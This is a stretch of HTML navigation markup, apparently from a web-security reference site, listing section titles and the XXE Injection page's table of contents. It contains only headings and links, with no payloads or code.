<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_49">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Tabnabbing
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Tabnabbing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_50">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Type Juggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Type%20Juggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Upload Insecure Files
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Ffmpeg HLS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Ffmpeg HLS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
FFmpeg HLS vulnerability
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Apache .htaccess
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Apache .htaccess
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.htaccess upload
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Busybox httpd.conf
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Busybox httpd.conf
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Index
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration uwsgi.ini
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration uwsgi.ini
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
uWSGI configuration file
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Extension Flash
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Extension Flash
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Index
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Extension PDF JS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Extension PDF JS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Generate PDF File Containing JavaScript Code
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Picture ImageMagick
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Picture ImageMagick
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ImageMagick Exploits
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Zip Slip
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_52">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Cache Deception
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Sockets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Sockets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_54">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XPATH Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XPATH%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_55">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSLT Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSLT%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_56">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSS Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Scripting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS in Angular and AngularJS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS with Relative Path Overwrite - IE 8/9 and lower
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XXE Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_57">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XXE Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XML External Entity
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XML External Entity
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#detect-the-vulnerability" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Detect the vulnerability
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-retrieve-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to retrieve files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting XXE to retrieve files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#classic-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Classic XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#classic-xxe-base64-encoded" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Classic XXE Base64 encoded
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#php-wrapper-inside-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
PHP Wrapper inside XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xinclude-attacks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XInclude attacks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-perform-ssrf-attacks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to perform SSRF attacks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-perform-a-deny-of-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to perform a deny of service
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting XXE to perform a deny of service">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#billion-laugh-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Billion Laugh Attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#yaml-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Yaml attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#parameters-laugh-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Parameters Laugh attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-error-based-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting Error Based XXE
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting Error Based XXE">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#error-based-using-local-dtd-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Error Based - Using Local DTD File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#error-based-using-remote-dtd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Error Based - Using Remote DTD
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-blind-xxe-to-exfiltrate-data-out-of-band" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting blind XXE to exfiltrate data out-of-band
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting blind XXE to exfiltrate data out-of-band">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#basic-blind-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Basic Blind XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-attack-yunusov-2013" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB Attack (Yunusov, 2013)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-with-dtd-and-php-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB with DTD and PHP filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-with-apache-karaf" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB with Apache Karaf
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-with-local-dtd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE with local DTD
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XXE with local DTD">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cisco-webex" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cisco WebEx
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#citrix-xenmobile-server" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Citrix XenMobile Server
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#waf-bypasses" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
WAF Bypasses
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="WAF Bypasses">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-via-character-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass via character encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-in-java" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE in Java
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-in-exotic-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE in exotic files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XXE in exotic files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-svg" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside SVG
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-soap" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside SOAP
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-docx-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside DOCX file
|
||
